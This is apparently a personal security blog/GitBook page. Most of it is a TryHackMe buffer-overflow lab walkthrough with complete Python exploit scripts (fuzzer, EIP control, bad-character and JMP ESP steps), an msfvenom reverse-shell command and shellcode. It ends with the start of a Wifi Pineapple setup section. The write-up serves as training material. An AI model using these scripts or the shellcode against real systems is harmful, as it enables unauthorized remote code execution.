# Welcome!

Welcome to 4pfsec's repo where you'll find all things Cybersecurity & Penetration Testing!!

## Heyo!

Thanks for stopping by 😊

In here you'll be able to find documentation regarding my side projects, some writeups from various security platforms and CTF events, a ton of cybersecurity resources that have helped me through my journey, and even some notes! Hope the resources in here helps someone as much as it helped me! Do consider checking out my main blog @ [4pfsec.com](http://4pfsec.com/) if you found this useful! I promise you, you won't regret it!

{% hint style="success" %}
Thank you [@GitBook](https://www.gitbook.com/) for supporting me wit it!!!
{% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdOd-cEhHxxJHkNpFSM%2F-MdOdG_YY-sc_XEuxwBZ%2Flogo.png?alt=media\&token=f39c16af-3db5-4ee8-82c2-d96c632ca46c)


# Remote Buffer Overflow

This subsection would cover the exploitation of Stack Based Remote Buffer Overflows

This guide makes use of the `OVERFLOW10` from the below-mentioned room on [TryHackMe](https://tryhackme.com).

{% embed url="<https://tryhackme.com/room/bufferoverflowprep>" %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mdc5YRexjuHx_uuuL-T%2F-Mdc5ivz7sQMT50q51nJ%2Fimage.png?alt=media\&token=7f0ec329-56e4-4986-92a1-1fbe7e890127)


# Crashing the Application

In order to exploit the target application, we need to crash the application and be able to overwrite the EIP with our own values.

## Fuzzing the Application

This step can be skipped for some applications as we already know the buffer size that causes the crash.

### Fuzzer.py

```
#!/usr/bin/env python3

import socket, time, sys

ip = "windows.box"

port = 1337
timeout = 5
prefix = "OVERFLOW10 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)
```

### Fuzzing

```
python3 fuzzer.py
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mdc5kxL1YhB-tGX34xE%2F-Mdc73K-bI19oZnpNySF%2Fimage.png?alt=media\&token=36707b95-5e74-401c-ac8c-8c482189700f)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mdc5kxL1YhB-tGX34xE%2F-Mdc75hr77UlmxOd4_VD%2Fimage.png?alt=media\&token=664d5669-59b2-413d-9a4d-87720db6d561)

The fuzzer tells us that the program crashed whe&#x6E;**`600 bytes`**&#x77;as sent in as the buffer size. We also notice that the `EIP` has been overwritten with **`\x41`**.

## Crashing the Application

This step can be used to verify the value from the fuzzing process.

### Crasher.py

```
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")
    
    prefix = "OVERFLOW10 "
    buffer = prefix + "A" * 600

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")
```

### Crashing

```
python crasher.py
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mdc7p5Zp_KU4EpCg7ju%2F-Mdc88DqFKwBpqjqqLxU%2Fimage.png?alt=media\&token=50358075-b19e-4e23-ba48-f5724931626f)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mdc7p5Zp_KU4EpCg7ju%2F-Mdc8BLYsR6crFukWDd_%2Fimage.png?alt=media\&token=1c724962-583e-4f02-8651-09f32a1fac1a)

Once `Crasher.py` is ran, notice that the target application crashes and the `EIP` is overwritten with **`\x41`**. This confirms that **`600 bytes`** is indeed the buffer size that causes the target application to crash.


# Controlling the EIP

To take control of the EIP, we first need to locate the EIP’s exact position in the buffer of 600. To do this we will make use of a tool called “msf-pattern\_create”.

## Creating Pattern

```
msf-pattern_create -l 600
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mdc9PsqVcQrdg9pwbKi%2F-Mdc9bP16twsh759IMUu%2Fimage.png?alt=media\&token=e210393a-c377-4df0-ba7c-feaa9bc9f6a0)

## Update POC

After creating the pattern, modify the code from the previous iteration (Crasher.py) to send the newly generated pattern as the buffer instead.

### controllingEip.py

```
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")
    
    prefix = "OVERFLOW10 "
    buffer = prefix + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")
```

### Controlling Eip

```
python controllingEip.py
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mdc9tgHNuO97nsjnR_g%2F-MdcA1ZKr1UmsGVcnS16%2Fimage.png?alt=media\&token=85bf7dc1-65a3-4116-829a-faf882869be2)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcAEeXUzfF6pbD5H0W%2F-MdcAHXtp2bNQwijy4cr%2Fimage.png?alt=media\&token=b6758db1-5934-48ef-a5f3-14e02bf81ea5)

`EIP = 41397241`

Further inspecting the registers, as shown above, reveals that our EIP now has a unique value instead of the 4 bytes of “\x41” OR “A” we saw in the previous iteration.

## Locating EIP

Now that we have sent in our custom pattern and extracted the value @ EIP, we have to figure out where that is in the buffer. The tool ”msf-pattern\_offset” will help us with that.

```
msf-pattern_offset -l 600 -q 41397241
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcAgZS_5kfFJ5Oi2ZQ%2F-MdcAmNnIMkUTJoktZxs%2Fimage.png?alt=media\&token=86944ad3-f025-4b51-845e-2e4d6b33db7d)

`EIP Was found at 537 Bytes`

### controlledEip.py

Now let's verify that by further modifying our initial code, we are able to write 4 `B`s OR 4 bytes of `\x42` into the EIP.

```
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")
    
    prefix = "OVERFLOW10 "
    filler = "A" * 537
    eip = "B" * 4
    buffer = prefix + filler + eip

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")
```

### Controlled Eip

```
python controlledEip.py
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcBBXs6jmE3Lk41CyT%2F-MdcBEg3WuZMinHv3Eh8%2Fimage.png?alt=media\&token=023ae14b-3779-41ad-a129-535834acc3ff)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcBBXs6jmE3Lk41CyT%2F-MdcBG867pBI4W3H1oRi%2Fimage.png?alt=media\&token=320dce60-5ee1-414e-aa5f-df08ac536009)

After running the new exploit code, we are able to see that we have successfully over-written the EIP with `\x42\x42\x42\x42`. Now we have gained control of the EIP and are ready to move on to the next step.


# Finding Bad Characters

We need to be warry of bad characters and pick them out so that our payload doesn't contain any characters that might cause our exploit to fail.

## Possible Bad Characters

Here's a list of all the characters that could possibly be bad characters. You might notice that `\x00` is not in the list below. That's because it's considered to be a bad character most of the time.

```
badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
```

## Modifying POC

We will again be modifying our initial code to include an array of bad characters in the buffer. By sending a buffer with bad characters. We would be able to determine the bad characters that are associated with the application via analysis on Immunity Debugger with the help of `Mona`.

### badChars.py

```
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")

    badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
    
    prefix = "OVERFLOW10 "
    filler = "A" * 537
    eip = "B" * 4
    buffer = prefix + filler + eip + badchars

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")
```

## Bad Chars

```
python badChars.py
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcCW79_I5GWSwJYunR%2F-MdcCf6I6u3GSZlMpCGM%2Fimage.png?alt=media\&token=11d2e4c0-0462-4900-a74a-e0d3153fa4b9)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcCW79_I5GWSwJYunR%2F-MdcChialSn6pYM1X4LS%2Fimage.png?alt=media\&token=892bf66d-1460-4958-872b-8c29138c6a54)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcCW79_I5GWSwJYunR%2F-MdcCp300ZImzYfNWaCZ%2Fimage.png?alt=media\&token=ac5b4302-5abb-4621-a351-98627721167f)

Once the bad chars are sent in, following the `ESP` location in dump reveals to us where our chars are. With this, we would be able to do further analysis with `mona` and locate the actual bad characters.

### Setting working directory for Mona

```
!mona config -set workingfolder c:\Temp
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcD0KlUT742Xxl5Ghq%2F-MdcDJ5TLfJij9kL7Is0%2Fimage.png?alt=media\&token=1a0cb4db-931d-4189-9c47-319cfbe6e4b7)

### Creating Bytearray with Mona

```
!mona bytearray -b "\x00"
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcD0KlUT742Xxl5Ghq%2F-MdcDSJ_WADrS-W3g4-S%2Fimage.png?alt=media\&token=3f025862-159a-425d-b4fe-047a6502bb2c)

### Locating Bad Characters

```
!mona compare -f C:\Temp\bytearray.bin -a <ESP Address>
```

![ESP address](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcD0KlUT742Xxl5Ghq%2F-MdcDcb4erpDDIwNRgLX%2Fimage.png?alt=media\&token=474da25f-feef-4f0c-a014-54bae3267090)

```
!mona compare -f C:\Temp\bytearray.bin -a 0122FA18
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcD0KlUT742Xxl5Ghq%2F-MdcDljoWVKmGYlggdJB%2Fimage.png?alt=media\&token=308c67ad-faa1-4a56-8407-8bb7719ad727)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcD0KlUT742Xxl5Ghq%2F-MdcDnQJ39QbR__jUYZ1%2Fimage.png?alt=media\&token=eac91c00-324a-4d4f-835b-75cedec34040)

Now that we have the results, we have to remove every consecutive output under the Badchars tab excluding “\x00” as that is a bad character for all cases. We would end up with a bad character set of:

```
\x00\xa0\xad\xbe\xde\xef
```


# Finding a Return Address

This Return Address would be written in the EIP and used to direct the application to where our payload will be located! Mona.py would be used for this as well.

## Listing all modules

The following command returns a bunch of programs/dependencies that our software in question uses/calls when operating. We notice that one of them has no memory protection or whatsoever. This would be useful for the process.

```
!mona modules
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcEFBrGUxSz2nuK-Wq%2F-MdcEK7mMJC8IXbsKA3U%2Fimage.png?alt=media\&token=bf14efc5-4cba-4d0e-8722-bc8347b76160)

### Analyzing Output

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcEbNwgbhXeQyW0SXA%2F-MdcEjLc-2z3WnMEF-iH%2Fimage.png?alt=media\&token=5ec4848e-ebd3-4d0f-82a2-a83d4075c517)

```
Log data, item 12
 Address=0BADF00D
 Message= 0x62500000 | 0x62508000 | 0x00008000 | False  | False   | False |  False   | False  | -1.0- [essfunc.dll] (C:\Users\admin\Desktop\vulnapps\oscp\essfunc.dll)
```

Searching through the output, essfunc.dll seems to have most of the protections turned off which would allow for this attack to go through.

## Locating OpCode syscall

### Generating OpCode

The next step would be to generate the opt code for “JMP ESP” so that we can look for it in `essfunc.dll`. We will be using `msf-nasm_shell` for this.

```
msf-nasm_shell
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcF-hgwmHopQVhed8X%2F-MdcF1S96U_79ddxIIug%2Fimage.png?alt=media\&token=54740640-315e-443f-8643-fb3657acb5ad)

### Finding JMP ESP

```
!mona find -s "\xff\xe4" -m "essfunc.dll"
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcF-hgwmHopQVhed8X%2F-MdcH53yncnd1zc3z-WQ%2Fimage.png?alt=media\&token=f68c8b88-7366-4ef8-b797-c7d44de46c26)

```
Log data, item 11
 Address=625011AF
 Message=  0x625011af : "\xff\xe4" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnapps\oscp\essfunc.dll)
```

`0x625011AF`

## Hitting Offset

Now that we have an offset, we can try setting a breakpoint and hitting to verify that we have full control.

### Setting breakpoint

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcF-hgwmHopQVhed8X%2F-MdcHUW6jnVR4pKOtxmz%2Fimage.png?alt=media\&token=73180c8b-f0d3-402e-baf8-989e76bd1f36)

Then, hit `F2` to set the breakpoint

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcHZfuye3FTDIpi1Qq%2F-MdcH_7uk19AJXh7j-Si%2Fimage.png?alt=media\&token=c1f47d67-ecb0-403d-ab29-cfaa98ffe8a7)

### returnAddress.py

```
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")
    
    prefix = "OVERFLOW10 "
    filler = "A" * 537 
    eip = "\xaf\x11\x50\x62" #0x625011AF
    buffer = prefix + filler + eip

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")
```

### Hitting breakpoint

```
python returnAddress.py
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcHZfuye3FTDIpi1Qq%2F-MdcHkV8L6SdjwWlWCbi%2Fimage.png?alt=media\&token=1df45dc8-6db4-4a0e-a03a-9303295309b1)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcHZfuye3FTDIpi1Qq%2F-MdcHmOKM2xPd7N0qsJ6%2Fimage.png?alt=media\&token=3d05fa90-9b21-440c-a61f-faf4b7bdda64)

Our debugger shows that we did hit the JMP ESP and hit the breakpoint that we set previously.


# Generating Shellcode

This is the most crucial step as it decides whether we get a shell!

## Generating Shellcode

```
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "<BADCHARS>" > shellcode.c
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcHp2sPXncD3mUSIGj%2F-MdcI2hfn9FF4hEO_8IM%2Fimage.png?alt=media\&token=d2c65c6d-b458-453b-acba-322506fb3992)

```
unsigned char buf[] = 
"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\x65\x02\xba\x95\x83\xee\xfc\xe2\xf4\x99\xea\x38\x95\x65\x02"
"\xda\x1c\x80\x33\x7a\xf1\xee\x52\x8a\x1e\x37\x0e\x31\xc7\x71"
"\x89\xc8\xbd\x6a\xb5\xf0\xb3\x54\xfd\x16\xa9\x04\x7e\xb8\xb9"
"\x45\xc3\x75\x98\x64\xc5\x58\x67\x37\x55\x31\xc7\x75\x89\xf0"
"\xa9\xee\x4e\xab\xed\x86\x4a\xbb\x44\x34\x89\xe3\xb5\x64\xd1"
"\x31\xdc\x7d\xe1\x80\xdc\xee\x36\x31\x94\xb3\x33\x45\x39\xa4"
"\xcd\xb7\x94\xa2\x3a\x5a\xe0\x93\x01\xc7\x6d\x5e\x7f\x9e\xe0"
"\x81\x5a\x31\xcd\x41\x03\x69\xf3\xee\x0e\xf1\x1e\x3d\x1e\xbb"
"\x46\xee\x06\x31\x94\xb5\x8b\xfe\xb1\x41\x59\xe1\xf4\x3c\x58"
"\xeb\x6a\x85\x5d\xe5\xcf\xee\x10\x51\x18\x38\x6a\x89\xa7\x65"
"\x02\xd2\xe2\x16\x30\xe5\xc1\x0d\x4e\xcd\xb3\x62\xfd\x6f\x2d"
"\xf5\x03\xba\x95\x4c\xc6\xee\xc5\x0d\x2b\x3a\xfe\x65\xfd\x6f"
"\xc5\x35\x52\xea\xd5\x35\x42\xea\xfd\x8f\x0d\x65\x75\x9a\xd7"
"\x2d\xff\x60\x6a\x7a\x3d\x65\x6e\xd2\x97\x65\x02\x8f\x1c\x83"
"\x68\xaa\xc3\x32\x6a\x23\x30\x11\x63\x45\x40\xe0\xc2\xce\x99"
"\x9a\x4c\xb2\xe0\x89\x6a\x4a\x20\xc7\x54\x45\x40\x0d\x61\xd7"
"\xf1\x65\x8b\x59\xc2\x32\x55\x8b\x63\x0f\x10\xe3\xc3\x87\xff"
"\xdc\x52\x21\x26\x86\x94\x64\x8f\xfe\xb1\x75\xc4\xba\xd1\x31"
"\x52\xec\xc3\x33\x44\xec\xdb\x33\x54\xe9\xc3\x0d\x7b\x76\xaa"
"\xe3\xfd\x6f\x1c\x85\x4c\xec\xd3\x9a\x32\xd2\x9d\xe2\x1f\xda"
"\x6a\xb0\xb9\x5a\x88\x4f\x08\xd2\x33\xf0\xbf\x27\x6a\xb0\x3e"
"\xbc\xe9\x6f\x82\x41\x75\x10\x07\x01\xd2\x76\x70\xd5\xff\x65"
"\x51\x45\x40";
```


# Getting a Shell

With some final modification to the POC, a shell will be obtained.

## Adding Nops & Payload

Now that we have all parts to the puzzle, all we have to do is modify the code one last time to include our newly generated payload, add some NOPs (“\x90”) to give some padding for our payload, and run it!

### payload.py

```
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")

    payload = ("\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
    "\x65\x02\xba\x95\x83\xee\xfc\xe2\xf4\x99\xea\x38\x95\x65\x02"
    "\xda\x1c\x80\x33\x7a\xf1\xee\x52\x8a\x1e\x37\x0e\x31\xc7\x71"
    "\x89\xc8\xbd\x6a\xb5\xf0\xb3\x54\xfd\x16\xa9\x04\x7e\xb8\xb9"
    "\x45\xc3\x75\x98\x64\xc5\x58\x67\x37\x55\x31\xc7\x75\x89\xf0"
    "\xa9\xee\x4e\xab\xed\x86\x4a\xbb\x44\x34\x89\xe3\xb5\x64\xd1"
    "\x31\xdc\x7d\xe1\x80\xdc\xee\x36\x31\x94\xb3\x33\x45\x39\xa4"
    "\xcd\xb7\x94\xa2\x3a\x5a\xe0\x93\x01\xc7\x6d\x5e\x7f\x9e\xe0"
    "\x81\x5a\x31\xcd\x41\x03\x69\xf3\xee\x0e\xf1\x1e\x3d\x1e\xbb"
    "\x46\xee\x06\x31\x94\xb5\x8b\xfe\xb1\x41\x59\xe1\xf4\x3c\x58"
    "\xeb\x6a\x85\x5d\xe5\xcf\xee\x10\x51\x18\x38\x6a\x89\xa7\x65"
    "\x02\xd2\xe2\x16\x30\xe5\xc1\x0d\x4e\xcd\xb3\x62\xfd\x6f\x2d"
    "\xf5\x03\xba\x95\x4c\xc6\xee\xc5\x0d\x2b\x3a\xfe\x65\xfd\x6f"
    "\xc5\x35\x52\xea\xd5\x35\x42\xea\xfd\x8f\x0d\x65\x75\x9a\xd7"
    "\x2d\xff\x60\x6a\x7a\x3d\x65\x6e\xd2\x97\x65\x02\x8f\x1c\x83"
    "\x68\xaa\xc3\x32\x6a\x23\x30\x11\x63\x45\x40\xe0\xc2\xce\x99"
    "\x9a\x4c\xb2\xe0\x89\x6a\x4a\x20\xc7\x54\x45\x40\x0d\x61\xd7"
    "\xf1\x65\x8b\x59\xc2\x32\x55\x8b\x63\x0f\x10\xe3\xc3\x87\xff"
    "\xdc\x52\x21\x26\x86\x94\x64\x8f\xfe\xb1\x75\xc4\xba\xd1\x31"
    "\x52\xec\xc3\x33\x44\xec\xdb\x33\x54\xe9\xc3\x0d\x7b\x76\xaa"
    "\xe3\xfd\x6f\x1c\x85\x4c\xec\xd3\x9a\x32\xd2\x9d\xe2\x1f\xda"
    "\x6a\xb0\xb9\x5a\x88\x4f\x08\xd2\x33\xf0\xbf\x27\x6a\xb0\x3e"
    "\xbc\xe9\x6f\x82\x41\x75\x10\x07\x01\xd2\x76\x70\xd5\xff\x65"
    "\x51\x45\x40")
    
    prefix = "OVERFLOW10 "
    filler = "A" * 537 
    eip = "\xaf\x11\x50\x62" * 4 #0x625011AF
    nop = "\x90" * 32
    buffer = prefix + filler + eip + nop + payload

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")
```

### Exploitation

```
python payload.py
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcHp2sPXncD3mUSIGj%2F-MdcIUxsS-UfLkTjoZa6%2Fimage.png?alt=media\&token=858c9f9f-52da-4aa0-b2ef-f3d974a1f88c)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcHp2sPXncD3mUSIGj%2F-MdcIWathDNEZglcNDeQ%2Fimage.png?alt=media\&token=56a3a93b-db07-425e-8296-d749c923c925)

And...there we go! We've gotta shell 😊


# Wifi Pineapple - Tetra

I was recently able to recently get my hands on the wifi pineapple thanks to a mentor of mine! This section will contain my adventures with this awesome device! Let's get to wireless hacking!

If you're interested in the hardware, do check out Hak5's range of [Wifi Pineapples](https://shop.hak5.org/products/wifi-pineapple).

{% hint style="warning" %}
I will be using this device in my own vicinity and would not be interacting with any networks that I do not own!
{% endhint %}

![Wifi Pineapple - TETRA](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_l-16r0Yz6Kauzptt%2Fimage.png?alt=media\&token=86422564-8093-4b9f-bd47-8d6815afb7a8)


# Setup

This subsection covers the setup process of the Tetra.

Once the 🍍 is booted up and connected to a machine via the provided USB Y cable, the machine it's connected to should receive an IP address via DHCP as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_lLREaHUNCKFXSg0g%2Fimage.png?alt=media\&token=95a22a75-3d85-431d-bc71-ba5651a269b2)

## Web Portal

### URL

Accessing the following link will bring up the 🍍's admin dashboard for first-time configuration

{% hint style="success" %}
<http://172.16.42.1:1471/>
{% endhint %}

